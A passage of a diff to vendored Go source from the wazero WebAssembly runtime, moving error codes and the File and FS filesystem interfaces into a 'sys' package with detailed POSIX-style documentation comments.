ENOSYS
|
||||
ENOTDIR
|
||||
ERANGE
|
||||
ENOTEMPTY
|
||||
ENOTSOCK
|
||||
ENOTSUP
|
||||
EPERM
|
||||
EROFS
|
||||
|
||||
// NOTE ENOTCAPABLE is defined in wasip1, but not in POSIX. wasi-libc
|
||||
// converts it to EBADF, ESPIPE or EINVAL depending on the call site.
|
||||
// It isn't known if compilers who don't use ENOTCAPABLE would crash on it.
|
||||
)
|
||||
|
||||
// Error implements error
|
||||
func (e Errno) Error() string {
|
||||
switch e {
|
||||
case 0: // not an error
|
||||
return "success"
|
||||
case EACCES:
|
||||
return "permission denied"
|
||||
case EAGAIN:
|
||||
return "resource unavailable, try again"
|
||||
case EBADF:
|
||||
return "bad file descriptor"
|
||||
case EEXIST:
|
||||
return "file exists"
|
||||
case EFAULT:
|
||||
return "bad address"
|
||||
case EINTR:
|
||||
return "interrupted function"
|
||||
case EINVAL:
|
||||
return "invalid argument"
|
||||
case EIO:
|
||||
return "input/output error"
|
||||
case EISDIR:
|
||||
return "is a directory"
|
||||
case ELOOP:
|
||||
return "too many levels of symbolic links"
|
||||
case ENAMETOOLONG:
|
||||
return "filename too long"
|
||||
case ENOENT:
|
||||
return "no such file or directory"
|
||||
case ENOSYS:
|
||||
return "functionality not supported"
|
||||
case ENOTDIR:
|
||||
return "not a directory or a symbolic link to a directory"
|
||||
case ERANGE:
|
||||
return "result too large"
|
||||
case ENOTEMPTY:
|
||||
return "directory not empty"
|
||||
case ENOTSOCK:
|
||||
return "not a socket"
|
||||
case ENOTSUP:
|
||||
return "not supported (may be the same value as [EOPNOTSUPP])"
|
||||
case EPERM:
|
||||
return "operation not permitted"
|
||||
case EROFS:
|
||||
return "read-only file system"
|
||||
default:
|
||||
return "Errno(" + strconv.Itoa(int(e)) + ")"
|
||||
}
|
||||
}
|
||||
Generated
Vendored
+10
-17
@@ -1,39 +1,32 @@
|
||||
package platform
|
||||
package sys
|
||||
|
||||
import (
|
||||
"io"
|
||||
"io/fs"
|
||||
"os"
|
||||
"syscall"
|
||||
)
|
||||
|
||||
// UnwrapOSError returns a syscall.Errno or zero if the input is nil.
|
||||
func UnwrapOSError(err error) syscall.Errno {
|
||||
// UnwrapOSError returns an Errno or zero if the input is nil.
|
||||
func UnwrapOSError(err error) Errno {
|
||||
if err == nil {
|
||||
return 0
|
||||
}
|
||||
err = underlyingError(err)
|
||||
if se, ok := err.(syscall.Errno); ok {
|
||||
return adjustErrno(se)
|
||||
}
|
||||
// Below are all the fs.ErrXXX in fs.go.
|
||||
//
|
||||
// Note: Once we have our own file type, we should never see these.
|
||||
switch err {
|
||||
case nil, io.EOF:
|
||||
return 0 // EOF is not a syscall.Errno
|
||||
return 0 // EOF is not a Errno
|
||||
case fs.ErrInvalid:
|
||||
return syscall.EINVAL
|
||||
return EINVAL
|
||||
case fs.ErrPermission:
|
||||
return syscall.EPERM
|
||||
return EPERM
|
||||
case fs.ErrExist:
|
||||
return syscall.EEXIST
|
||||
return EEXIST
|
||||
case fs.ErrNotExist:
|
||||
return syscall.ENOENT
|
||||
return ENOENT
|
||||
case fs.ErrClosed:
|
||||
return syscall.EBADF
|
||||
return EBADF
|
||||
}
|
||||
return syscall.EIO
|
||||
return errorToErrno(err)
|
||||
}
|
||||
|
||||
// underlyingError returns the underlying error if a well-known OS error type.
|
||||
+317
@@ -0,0 +1,317 @@
|
||||
package sys
|
||||
|
||||
import "github.com/tetratelabs/wazero/sys"
|
||||
|
||||
// File is a writeable fs.File bridge backed by syscall functions needed for ABI
|
||||
// including WASI and runtime.GOOS=js.
|
||||
//
|
||||
// Implementations should embed UnimplementedFile for forward compatibility. Any
|
||||
// unsupported method or parameter should return ENOSYS.
|
||||
//
|
||||
// # Errors
|
||||
//
|
||||
// All methods that can return an error return a Errno, which is zero
|
||||
// on success.
|
||||
//
|
||||
// Restricting to Errno matches current WebAssembly host functions,
|
||||
// which are constrained to well-known error codes. For example, `GOOS=js` maps
|
||||
// hard coded values and panics otherwise. More commonly, WASI maps syscall
|
||||
// errors to u32 numeric values.
|
||||
//
|
||||
// # Notes
|
||||
//
|
||||
// - You must call Close to avoid file resource conflicts. For example,
|
||||
// Windows cannot delete the underlying directory while a handle to it
|
||||
// remains open.
|
||||
// - A writable filesystem abstraction is not yet implemented as of Go 1.20.
|
||||
// See https://github.com/golang/go/issues/45757
|
||||
type File interface {
|
||||
// Dev returns the device ID (Stat_t.Dev) of this file, zero if unknown or
|
||||
// an error retrieving it.
|
||||
//
|
||||
// # Errors
|
||||
//
|
||||
// Possible errors are those from Stat, except ENOSYS should not
|
||||
// be returned. Zero should be returned if there is no implementation.
|
||||
//
|
||||
// # Notes
|
||||
//
|
||||
// - Implementations should cache this result.
|
||||
// - This combined with Ino can implement os.SameFile.
|
||||
Dev() (uint64, Errno)
|
||||
|
||||
// Ino returns the serial number (Stat_t.Ino) of this file, zero if unknown
|
||||
// or an error retrieving it.
|
||||
//
|
||||
// # Errors
|
||||
//
|
||||
// Possible errors are those from Stat, except ENOSYS should not
|
||||
// be returned. Zero should be returned if there is no implementation.
|
||||
//
|
||||
// # Notes
|
||||
//
|
||||
// - Implementations should cache this result.
|
||||
// - This combined with Dev can implement os.SameFile.
|
||||
Ino() (sys.Inode, Errno)
|
||||
|
||||
// IsDir returns true if this file is a directory or an error there was an
|
||||
// error retrieving this information.
|
||||
//
|
||||
// # Errors
|
||||
//
|
||||
// Possible errors are those from Stat, except ENOSYS should not
|
||||
// be returned. false should be returned if there is no implementation.
|
||||
//
|
||||
// # Notes
|
||||
//
|
||||
// - Implementations should cache this result.
|
||||
IsDir() (bool, Errno)
|
||||
|
||||
// IsAppend returns true if the file was opened with O_APPEND, or
|
||||
// SetAppend was successfully enabled on this file.
|
||||
//
|
||||
// # Notes
|
||||
//
|
||||
// - This might not match the underlying state of the file descriptor if
|
||||
// the file was not opened via OpenFile.
|
||||
IsAppend() bool
|
||||
|
||||
// SetAppend toggles the append mode (O_APPEND) of this file.
|
||||
//
|
||||
// # Errors
|
||||
//
|
||||
// A zero Errno is success. The below are expected otherwise:
|
||||
// - ENOSYS: the implementation does not support this function.
|
||||
// - EBADF: the file or directory was closed.
|
||||
//
|
||||
// # Notes
|
||||
//
|
||||
// - There is no `O_APPEND` for `fcntl` in POSIX, so implementations may
|
||||
// have to re-open the underlying file to apply this. See
|
||||
// https://pubs.opengroup.org/onlinepubs/9699919799/functions/open.html
|
||||
SetAppend(enable bool) Errno
|
||||
|
||||
// Stat is similar to syscall.Fstat.
|
||||
//
|
||||
// # Errors
|
||||
//
|
||||
// A zero Errno is success. The below are expected otherwise:
|
||||
// - ENOSYS: the implementation does not support this function.
|
||||
// - EBADF: the file or directory was closed.
|
||||
//
|
||||
// # Notes
|
||||
//
|
||||
// - This is like syscall.Fstat and `fstatat` with `AT_FDCWD` in POSIX.
|
||||
// See https://pubs.opengroup.org/onlinepubs/9699919799/functions/stat.html
|
||||
// - A fs.FileInfo backed implementation sets atim, mtim and ctim to the
|
||||
// same value.
|
||||
// - Windows allows you to stat a closed directory.
|
||||
Stat() (sys.Stat_t, Errno)
|
||||
|
||||
// Read attempts to read all bytes in the file into `buf`, and returns the
|
||||
// count read even on error.
|
||||
//
|
||||
// # Errors
|
||||
//
|
||||
// A zero Errno is success. The below are expected otherwise:
|
||||
// - ENOSYS: the implementation does not support this function.
|
||||
// - EBADF: the file or directory was closed or not readable.
|
||||
// - EISDIR: the file was a directory.
|
||||
//
|
||||
// # Notes
|
||||
//
|
||||
// - This is like io.Reader and `read` in POSIX, preferring semantics of
|
||||
// io.Reader. See https://pubs.opengroup.org/onlinepubs/9699919799/functions/read.html
|
||||
// - Unlike io.Reader, there is no io.EOF returned on end-of-file. To
|
||||
// read the file completely, the caller must repeat until `n` is zero.
|
||||
Read(buf []byte) (n int, errno Errno)
|
||||
|
||||
// Pread attempts to read all bytes in the file into `p`, starting at the
|
||||
// offset `off`, and returns the count read even on error.
|
||||
//
|
||||
// # Errors
|
||||
//
|
||||
// A zero Errno is success. The below are expected otherwise:
|
||||
// - ENOSYS: the implementation does not support this function.
|
||||
// - EBADF: the file or directory was closed or not readable.
|
||||
// - EINVAL: the offset was negative.
|
||||
// - EISDIR: the file was a directory.
|
||||
//
|
||||
// # Notes
|
||||
//
|
||||
// - This is like io.ReaderAt and `pread` in POSIX, preferring semantics
|
||||
// of io.ReaderAt. See https://pubs.opengroup.org/onlinepubs/9699919799/functions/pread.html
|
||||
// - Unlike io.ReaderAt, there is no io.EOF returned on end-of-file. To
|
||||
// read the file completely, the caller must repeat until `n` is zero.
|
||||
Pread(buf []byte, off int64) (n int, errno Errno)
|
||||
|
||||
// Seek attempts to set the next offset for Read or Write and returns the
|
||||
// resulting absolute offset or an error.
|
||||
//
|
||||
// # Parameters
|
||||
//
|
||||
// The `offset` parameters is interpreted in terms of `whence`:
|
||||
// - io.SeekStart: relative to the start of the file, e.g. offset=0 sets
|
||||
// the next Read or Write to the beginning of the file.
|
||||
// - io.SeekCurrent: relative to the current offset, e.g. offset=16 sets
|
||||
// the next Read or Write 16 bytes past the prior.
|
||||
// - io.SeekEnd: relative to the end of the file, e.g. offset=-1 sets the
|
||||
// next Read or Write to the last byte in the file.
|
||||
//
|
||||
// # Behavior when a directory
|
||||
//
|
||||
// The only supported use case for a directory is seeking to `offset` zero
|
||||
// (`whence` = io.SeekStart). This should have the same behavior as
|
||||
// os.File, which resets any internal state used by Readdir.
|
||||
//
|
||||
// # Errors
|
||||
//
|
||||
// A zero Errno is success. The below are expected otherwise:
|
||||
// - ENOSYS: the implementation does not support this function.
|
||||
// - EBADF: the file or directory was closed or not readable.
|
||||
// - EINVAL: the offset was negative.
|
||||
//
|
||||
// # Notes
|
||||
//
|
||||
// - This is like io.Seeker and `fseek` in POSIX, preferring semantics
|
||||
// of io.Seeker. See https://pubs.opengroup.org/onlinepubs/9699919799/functions/fseek.html
|
||||
Seek(offset int64, whence int) (newOffset int64, errno Errno)
|
||||
|
||||
// Readdir reads the contents of the directory associated with file and
|
||||
// returns a slice of up to n Dirent values in an arbitrary order. This is
|
||||
// a stateful function, so subsequent calls return any next values.
|
||||
//
|
||||
// If n > 0, Readdir returns at most n entries or an error.
|
||||
// If n <= 0, Readdir returns all remaining entries or an error.
|
||||
//
|
||||
// # Errors
|
||||
//
|
||||
// A zero Errno is success. The below are expected otherwise:
|
||||
// - ENOSYS: the implementation does not support this function.
|
||||
// - EBADF: the file was closed or not a directory.
|
||||
// - ENOENT: the directory could not be read (e.g. deleted).
|
||||
//
|
||||
// # Notes
|
||||
//
|
||||
// - This is like `Readdir` on os.File, but unlike `readdir` in POSIX.
|
||||
// See https://pubs.opengroup.org/onlinepubs/9699919799/functions/readdir.html
|
||||
// - Unlike os.File, there is no io.EOF returned on end-of-directory. To
|
||||
// read the directory completely, the caller must repeat until the
|
||||
// count read (`len(dirents)`) is less than `n`.
|
||||
// - See /RATIONALE.md for design notes.
|
||||
Readdir(n int) (dirents []Dirent, errno Errno)
|
||||
|
||||
// Write attempts to write all bytes in `p` to the file, and returns the
|
||||
// count written even on error.
|
||||
//
|
||||
// # Errors
|
||||
//
|
||||
// A zero Errno is success. The below are expected otherwise:
|
||||
// - ENOSYS: the implementation does not support this function.
|
||||
// - EBADF: the file was closed, not writeable, or a directory.
|
||||
//
|
||||
// # Notes
|
||||
//
|
||||
// - This is like io.Writer and `write` in POSIX, preferring semantics of
|
||||
// io.Writer. See https://pubs.opengroup.org/onlinepubs/9699919799/functions/write.html
|
||||
Write(buf []byte) (n int, errno Errno)
|
||||
|
||||
// Pwrite attempts to write all bytes in `p` to the file at the given
|
||||
// offset `off`, and returns the count written even on error.
|
||||
//
|
||||
// # Errors
|
||||
//
|
||||
// A zero Errno is success. The below are expected otherwise:
|
||||
// - ENOSYS: the implementation does not support this function.
|
||||
// - EBADF: the file or directory was closed or not writeable.
|
||||
// - EINVAL: the offset was negative.
|
||||
// - EISDIR: the file was a directory.
|
||||
//
|
||||
// # Notes
|
||||
//
|
||||
// - This is like io.WriterAt and `pwrite` in POSIX, preferring semantics
|
||||
// of io.WriterAt. See https://pubs.opengroup.org/onlinepubs/9699919799/functions/pwrite.html
|
||||
Pwrite(buf []byte, off int64) (n int, errno Errno)
|
||||
|
||||
// Truncate truncates a file to a specified length.
|
||||
//
|
||||
// # Errors
|
||||
//
|
||||
// A zero Errno is success. The below are expected otherwise:
|
||||
// - ENOSYS: the implementation does not support this function.
|
||||
// - EBADF: the file or directory was closed.
|
||||
// - EINVAL: the `size` is negative.
|
||||
// - EISDIR: the file was a directory.
|
||||
//
|
||||
// # Notes
|
||||
//
|
||||
// - This is like syscall.Ftruncate and `ftruncate` in POSIX. See
|
||||
// https://pubs.opengroup.org/onlinepubs/9699919799/functions/ftruncate.html
|
||||
// - Windows does not error when calling Truncate on a closed file.
|
||||
Truncate(size int64) Errno
|
||||
|
||||
// Sync synchronizes changes to the file.
|
||||
//
|
||||
// # Errors
|
||||
//
|
||||
// A zero Errno is success. The below are expected otherwise:
|
||||
// - EBADF: the file or directory was closed.
|
||||
//
|
||||
// # Notes
|
||||
//
|
||||
// - This is like syscall.Fsync and `fsync` in POSIX. See
|
||||
// https://pubs.opengroup.org/onlinepubs/9699919799/functions/fsync.html
|
||||
// - This returns with no error instead of ENOSYS when
|
||||
// unimplemented. This prevents fake filesystems from erring.
|
||||
// - Windows does not error when calling Sync on a closed file.
|
||||
Sync() Errno
|
||||
|
||||
// Datasync synchronizes the data of a file.
|
||||
//
|
||||
// # Errors
|
||||
//
|
||||
// A zero Errno is success. The below are expected otherwise:
|
||||
// - EBADF: the file or directory was closed.
|
||||
//
|
||||
// # Notes
|
||||
//
|
||||
// - This is like syscall.Fdatasync and `fdatasync` in POSIX. See
|
||||
// https://pubs.opengroup.org/onlinepubs/9699919799/functions/fdatasync.html
|
||||
// - This returns with no error instead of ENOSYS when
|
||||
// unimplemented. This prevents fake filesystems from erring.
|
||||
// - As this is commonly missing, some implementations dispatch to Sync.
|
||||
Datasync() Errno
|
||||
|
||||
// Utimens set file access and modification times of this file, at
|
||||
// nanosecond precision.
|
||||
//
|
||||
// # Parameters
|
||||
//
|
||||
// The `atim` and `mtim` parameters refer to access and modification time
|
||||
// stamps as defined in sys.Stat_t. To retain one or the other, substitute
|
||||
// it with the pseudo-timestamp UTIME_OMIT.
|
||||
//
|
||||
// # Errors
|
||||
//
|
||||
// A zero Errno is success. The below are expected otherwise:
|
||||
// - ENOSYS: the implementation does not support this function.
|
||||
// - EBADF: the file or directory was closed.
|
||||
//
|
||||
// # Notes
|
||||
//
|
||||
// - This is like syscall.UtimesNano and `futimens` in POSIX. See
|
||||
// https://pubs.opengroup.org/onlinepubs/9699919799/functions/futimens.html
|
||||
// - Windows requires files to be open with O_RDWR, which means you
|
||||
// cannot use this to update timestamps on a directory (EPERM).
|
||||
Utimens(atim, mtim int64) Errno
|
||||
|
||||
// Close closes the underlying file.
|
||||
//
|
||||
// A zero Errno is returned if unimplemented or success.
|
||||
//
|
||||
// # Notes
|
||||
//
|
||||
// - This is like syscall.Close and `close` in POSIX. See
|
||||
// https://pubs.opengroup.org/onlinepubs/9699919799/functions/close.html
|
||||
Close() Errno
|
||||
}
|
||||
Generated
Vendored
+65
-68
@@ -1,17 +1,15 @@
|
||||
package fsapi
|
||||
package sys
|
||||
|
||||
import (
|
||||
"io/fs"
|
||||
"syscall"
|
||||
|
||||
experimentalsys "github.com/tetratelabs/wazero/experimental/sys"
|
||||
"github.com/tetratelabs/wazero/sys"
|
||||
)
|
||||
|
||||
// FS is a writeable fs.FS bridge backed by syscall functions needed for ABI
|
||||
// including WASI and runtime.GOOS=js.
|
||||
//
|
||||
// Implementations should embed UnimplementedFS for forward compatability. Any
|
||||
// Implementations should embed UnimplementedFS for forward compatibility. Any
|
||||
// unsupported method or parameter should return ENO
|
||||
//
|
||||
// # Errors
|
||||
@@ -34,11 +32,11 @@ type FS interface {
|
||||
// # Errors
|
||||
//
|
||||
// A zero Errno is success. The below are expected otherwise:
|
||||
// - sys.ENOSYS: the implementation does not support this function.
|
||||
// - sys.EINVAL: `path` or `flag` is invalid.
|
||||
// - sys.EISDIR: the path was a directory, but flag included O_RDWR or
|
||||
// - ENOSYS: the implementation does not support this function.
|
||||
// - EINVAL: `path` or `flag` is invalid.
|
||||
// - EISDIR: the path was a directory, but flag included O_RDWR or
|
||||
// O_WRONLY
|
||||
// - sys.ENOENT: `path` doesn't exist and `flag` doesn't contain O_CREAT.
|
||||
// - ENOENT: `path` doesn't exist and `flag` doesn't contain O_CREAT.
|
||||
//
|
||||
// # Constraints on the returned file
|
||||
//
|
||||
@@ -59,15 +57,15 @@ type FS interface {
|
||||
// - Implications of permissions when O_CREAT are described in Chmod notes.
|
||||
// - This is like `open` in POSIX. See
|
||||
// https://pubs.opengroup.org/onlinepubs/9699919799/functions/open.html
|
||||
OpenFile(path string, flag Oflag, perm fs.FileMode) (File, experimentalsys.Errno)
|
||||
OpenFile(path string, flag Oflag, perm fs.FileMode) (File, Errno)
|
||||
|
||||
// Lstat gets file status without following symbolic links.
|
||||
//
|
||||
// # Errors
|
||||
//
|
||||
// A zero Errno is success. The below are expected otherwise:
|
||||
// - sys.ENOSYS: the implementation does not support this function.
|
||||
// - sys.ENOENT: `path` doesn't exist.
|
||||
// - ENOSYS: the implementation does not support this function.
|
||||
// - ENOENT: `path` doesn't exist.
|
||||
//
|
||||
// # Notes
|
||||
//
|
||||
@@ -79,15 +77,15 @@ type FS interface {
|
||||
// same value.
|
||||
// - When the path is a symbolic link, the stat returned is for the link,
|
||||
// not the file it refers to.
|
||||
Lstat(path string) (sys.Stat_t, experimentalsys.Errno)
|
||||
Lstat(path string) (sys.Stat_t, Errno)
|
||||
|
||||
// Stat gets file status.
|
||||
//
|
||||
// # Errors
|
||||
//
|
||||
// A zero Errno is success. The below are expected otherwise:
|
||||
// - sys.ENOSYS: the implementation does not support this function.
|
||||
// - sys.ENOENT: `path` doesn't exist.
|
||||
// - ENOSYS: the implementation does not support this function.
|
||||
// - ENOENT: `path` doesn't exist.
|
||||
//
|
||||
// # Notes
|
||||
//
|
||||
@@ -99,17 +97,17 @@ type FS interface {
|
||||
// same value.
|
||||
// - When the path is a symbolic link, the stat returned is for the file
|
||||
// it refers to.
|
||||
Stat(path string) (sys.Stat_t, experimentalsys.Errno)
|
||||
Stat(path string) (sys.Stat_t, Errno)
|
||||
|
||||
// Mkdir makes a directory.
|
||||
//
|
||||
// # Errors
|
||||
//
|
||||
// A zero Errno is success. The below are expected otherwise:
|
||||
// - sys.ENOSYS: the implementation does not support this function.
|
||||
// - sys.EINVAL: `path` is invalid.
|
||||
// - sys.EEXIST: `path` exists and is a directory.
|
||||
// - sys.ENOTDIR: `path` exists and is a file.
|
||||
// - ENOSYS: the implementation does not support this function.
|
||||
// - EINVAL: `path` is invalid.
|
||||
// - EEXIST: `path` exists and is a directory.
|
||||
// - ENOTDIR: `path` exists and is a file.
|
||||
//
|
||||
// # Notes
|
||||
//
|
||||
@@ -118,16 +116,16 @@ type FS interface {
|
||||
// - This is like `mkdir` in POSIX. See
|
||||
// https://pubs.opengroup.org/onlinepubs/9699919799/functions/mkdir.html
|
||||
// - Implications of permissions are described in Chmod notes.
|
||||
Mkdir(path string, perm fs.FileMode) experimentalsys.Errno
|
||||
Mkdir(path string, perm fs.FileMode) Errno
|
||||
|
||||
// Chmod changes the mode of the file.
|
||||
//
|
||||
// # Errors
|
||||
//
|
||||
// A zero Errno is success. The below are expected otherwise:
|
||||
// - sys.ENOSYS: the implementation does not support this function.
|
||||
// - sys.EINVAL: `path` is invalid.
|
||||
// - sys.ENOENT: `path` does not exist.
|
||||
// - ENOSYS: the implementation does not support this function.
|
||||
// - EINVAL: `path` is invalid.
|
||||
// - ENOENT: `path` does not exist.
|
||||
//
|
||||
// # Notes
|
||||
//
|
||||
@@ -138,19 +136,19 @@ type FS interface {
|
||||
// - Windows ignores the execute bit, and any permissions come back as
|
||||
// group and world. For example, chmod of 0400 reads back as 0444, and
|
||||
// 0700 0666. Also, permissions on directories aren't supported at all.
|
||||
Chmod(path string, perm fs.FileMode) experimentalsys.Errno
|
||||
Chmod(path string, perm fs.FileMode) Errno
|
||||
|
||||
// Rename renames file or directory.
|
||||
//
|
||||
// # Errors
|
||||
//
|
||||
// A zero Errno is success. The below are expected otherwise:
|
||||
// - sys.ENOSYS: the implementation does not support this function.
|
||||
// - sys.EINVAL: `from` or `to` is invalid.
|
||||
// - sys.ENOENT: `from` or `to` don't exist.
|
||||
// - sys.ENOTDIR: `from` is a directory and `to` exists as a file.
|
||||
// - sys.EISDIR: `from` is a file and `to` exists as a directory.
|
||||
// - sys.ENOTEMPTY: `both from` and `to` are existing directory, but
|
||||
// - ENOSYS: the implementation does not support this function.
|
||||
// - EINVAL: `from` or `to` is invalid.
|
||||
// - ENOENT: `from` or `to` don't exist.
|
||||
// - ENOTDIR: `from` is a directory and `to` exists as a file.
|
||||
// - EISDIR: `from` is a file and `to` exists as a directory.
|
||||
// - ENOTEMPTY: `both from` and `to` are existing directory, but
|
||||
// `to` is not empty.
|
||||
//
|
||||
// # Notes
|
||||
@@ -160,18 +158,18 @@ type FS interface {
|
||||
// - This is like `rename` in POSIX. See
|
||||
// https://pubs.opengroup.org/onlinepubs/9699919799/functions/rename.html
|
||||
// - Windows doesn't let you overwrite an existing directory.
|
||||
Rename(from, to string) experimentalsys.Errno
|
||||
Rename(from, to string) Errno
|
||||
|
||||
// Rmdir removes a directory.
|
||||
//
|
||||
// # Errors
|
||||
//
|
||||
// A zero Errno is success. The below are expected otherwise:
|
||||
// - sys.ENOSYS: the implementation does not support this function.
|
||||
// - sys.EINVAL: `path` is invalid.
|
||||
// - sys.ENOENT: `path` doesn't exist.
|
||||
// - sys.ENOTDIR: `path` exists, but isn't a directory.
|
||||
// - sys.ENOTEMPTY: `path` exists, but isn't empty.
|
||||
// - ENOSYS: the implementation does not support this function.
|
||||
// - EINVAL: `path` is invalid.
|
||||
// - ENOENT: `path` doesn't exist.
|
||||
// - ENOTDIR: `path` exists, but isn't a directory.
|
||||
// - ENOTEMPTY: `path` exists, but isn't empty.
|
||||
//
|
||||
// # Notes
|
||||
//
|
||||
@@ -179,18 +177,18 @@ type FS interface {
|
||||
// file system.
|
||||
// - This is like `rmdir` in POSIX. See
|
||||
// https://pubs.opengroup.org/onlinepubs/9699919799/functions/rmdir.html
|
||||
// - As of Go 1.19, Windows maps sys.ENOTDIR to sys.ENOENT.
|
||||
Rmdir(path string) experimentalsys.Errno
|
||||
// - As of Go 1.19, Windows maps ENOTDIR to ENOENT.
|
||||
Rmdir(path string) Errno
|
||||
|
||||
// Unlink removes a directory entry.
|
||||
//
|
||||
// # Errors
|
||||
//
|
||||
// A zero Errno is success. The below are expected otherwise:
|
||||
// - sys.ENOSYS: the implementation does not support this function.
|
||||
// - sys.EINVAL: `path` is invalid.
|
||||
// - sys.ENOENT: `path` doesn't exist.
|
||||
// - sys.EISDIR: `path` exists, but is a directory.
|
||||
// - ENOSYS: the implementation does not support this function.
|
||||
// - EINVAL: `path` is invalid.
|
||||
// - ENOENT: `path` doesn't exist.
|
||||
// - EISDIR: `path` exists, but is a directory.
|
||||
//
|
||||
// # Notes
|
||||
//
|
||||
@@ -201,7 +199,7 @@ type FS interface {
|
||||
// - On Windows, syscall.Unlink doesn't delete symlink to directory unlike other platforms. Implementations might
|
||||
// want to combine syscall.RemoveDirectory with syscall.Unlink in order to delete such links on Windows.
|
||||
// See https://learn.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-removedirectorya
|
||||
Unlink(path string) experimentalsys.Errno
|
||||
Unlink(path string) Errno
|
||||
|
||||
// Link creates a "hard" link from oldPath to newPath, in contrast to a
|
||||
// soft link (via Symlink).
|
||||
@@ -209,10 +207,10 @@ type FS interface {
|
||||
// # Errors
|
||||
//
|
||||
// A zero Errno is success. The below are expected otherwise:
|
||||
// - sys.ENOSYS: the implementation does not support this function.
|
||||
// - sys.EPERM: `oldPath` is invalid.
|
||||
// - sys.ENOENT: `oldPath` doesn't exist.
|
||||
// - sys.EISDIR: `newPath` exists, but is a directory.
|
||||
// - ENOSYS: the implementation does not support this function.
|
||||
// - EPERM: `oldPath` is invalid.
|
||||
// - ENOENT: `oldPath` doesn't exist.
|
||||
// - EISDIR: `newPath` exists, but is a directory.
|
||||
//
|
||||
// # Notes
|
||||
//
|
||||
@@ -220,7 +218,7 @@ type FS interface {
|
||||
// file system.
|
||||
// - This is like `link` in POSIX. See
|
||||
// https://pubs.opengroup.org/onlinepubs/9699919799/functions/link.html
|
||||
Link(oldPath, newPath string) experimentalsys.Errno
|
||||
Link(oldPath, newPath string) Errno
|
||||
|
||||
// Symlink creates a "soft" link from oldPath to newPath, in contrast to a
|
||||
// hard link (via Link).
|
||||
@@ -228,9 +226,9 @@ type FS interface {
|
||||
// # Errors
|
||||
//
|
||||
// A zero Errno is success. The below are expected otherwise:
|
||||
// - sys.ENOSYS: the implementation does not support this function.
|
||||
// - sys.EPERM: `oldPath` or `newPath` is invalid.
|
||||
// - sys.EEXIST: `newPath` exists.
|
||||
// - ENOSYS: the implementation does not support this function.
|
||||
// - EPERM: `oldPath` or `newPath` is invalid.
|
||||
// - EEXIST: `newPath` exists.
|
||||
//
|
||||
// # Notes
|
||||
//
|
||||
@@ -244,17 +242,17 @@ type FS interface {
|
||||
// See https://github.com/bytecodealliance/cap-std/blob/v1.0.4/cap-std/src/fs/dir.rs#L404-L409
|
||||
// for how others implement this.
|
||||
// - Symlinks in Windows requires `SeCreateSymbolicLinkPrivilege`.
|
||||
// Otherwise, sys.EPERM results.
|
||||
// Otherwise, EPERM results.
|
||||
// See https://learn.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/create-symbolic-links
|
||||
Symlink(oldPath, linkName string) experimentalsys.Errno
|
||||
Symlink(oldPath, linkName string) Errno
|
||||
|
||||
// Readlink reads the contents of a symbolic link.
|
||||
//
|
||||
// # Errors
|
||||
//
|
||||
// A zero Errno is success. The below are expected otherwise:
|
||||
// - sys.ENOSYS: the implementation does not support this function.
|
||||
// - sys.EINVAL: `path` is invalid.
|
||||
// - ENOSYS: the implementation does not support this function.
|
||||
// - EINVAL: `path` is invalid.
|
||||
//
|
||||
// # Notes
|
||||
//
|
||||
@@ -265,32 +263,31 @@ type FS interface {
|
||||
// - On Windows, the path separator is different from other platforms,
|
||||
// but to provide consistent results to Wasm, this normalizes to a "/"
|
||||
// separator.
|
||||
Readlink(path string) (string, experimentalsys.Errno)
|
||||
Readlink(path string) (string, Errno)
|
||||
|
||||
// Utimens set file access and modification times on a path relative to
|
||||
// this file system, at nanosecond precision.
|
||||
//
|
||||
// # Parameters
|
||||
//
|
||||
// The `times` parameter includes the access and modification timestamps to
|
||||
// assign. Special syscall.Timespec NSec values UTIME_NOW and UTIME_OMIT
|
||||
// may be specified instead of real timestamps. A nil `times` parameter
|
||||
// behaves the same as if both were set to UTIME_NOW. If the path is a
|
||||
// symbolic link, the target of expanding that link is updated.
|
||||
// If the path is a symbolic link, the target of expanding that link is
|
||||
// updated.
|
||||
//
|
||||
// The `atim` and `mtim` parameters refer to access and modification time
|
||||
// stamps as defined in sys.Stat_t. To retain one or the other, substitute
|
||||
// it with the pseudo-timestamp UTIME_OMIT.
|
||||
//
|
||||
// # Errors
|
||||
//
|
||||
// A zero Errno is success. The below are expected otherwise:
|
||||
// - sys.ENOSYS: the implementation does not support this function.
|
||||
// - sys.EINVAL: `path` is invalid.
|
||||
// - sys.EEXIST: `path` exists and is a directory.
|
||||
// - sys.ENOTDIR: `path` exists and is a file.
|
||||
// - ENOSYS: the implementation does not support this function.
|
||||
// - EINVAL: `path` is invalid.
|
||||
// - EEXIST: `path` exists and is a directory.
|
||||
// - ENOTDIR: `path` exists and is a file.
|
||||
//
|
||||
// # Notes
|
||||
//
|
||||
// - This is like syscall.UtimesNano and `utimensat` with `AT_FDCWD` in
|
||||
// POSIX. See https://pubs.opengroup.org/onlinepubs/9699919799/functions/futimens.html
|
||||
Utimens(path string, times *[2]syscall.Timespec) experimentalsys.Errno
|
||||
// TODO: change impl to not use syscall package,
|
||||
// possibly by being just a pair of int64s..
|
||||
Utimens(path string, atim, mtim int64) Errno
|
||||
}
|
||||
Generated
Vendored
+1
-1
@@ -1,4 +1,4 @@
|
||||
package fsapi
|
||||
package sys
|
||||
|
||||
// Oflag are flags used for FS.OpenFile. Values, including zero, should not be
|
||||
// interpreted numerically. Instead, use by constants prefixed with 'O_' with
|
||||
+106
@@ -0,0 +1,106 @@
|
||||
//go:build !plan9 && !aix
|
||||
|
||||
package sys
|
||||
|
||||
import "syscall"
|
||||
|
||||
func syscallToErrno(err error) (Errno, bool) {
|
||||
errno, ok := err.(syscall.Errno)
|
||||
if !ok {
|
||||
return 0, false
|
||||
}
|
||||
switch errno {
|
||||
case 0:
|
||||
return 0, true
|
||||
case syscall.EACCES:
|
||||
return EACCES, true
|
||||
case syscall.EAGAIN:
|
||||
return EAGAIN, true
|
||||
case syscall.EBADF:
|
||||
return EBADF, true
|
||||
case syscall.EEXIST:
|
||||
return EEXIST, true
|
||||
case syscall.EFAULT:
|
||||
return EFAULT, true
|
||||
case syscall.EINTR:
|
||||
return EINTR, true
|
||||
case syscall.EINVAL:
|
||||
return EINVAL, true
|
||||
case syscall.EIO:
|
||||
return EIO, true
|
||||
case syscall.EISDIR:
|
||||
return EISDIR, true
|
||||
case syscall.ELOOP:
|
||||
return ELOOP, true
|
||||
case syscall.ENAMETOOLONG:
|
||||
return ENAMETOOLONG, true
|
||||
case syscall.ENOENT:
|
||||
return ENOENT, true
|
||||
case syscall.ENOSYS:
|
||||
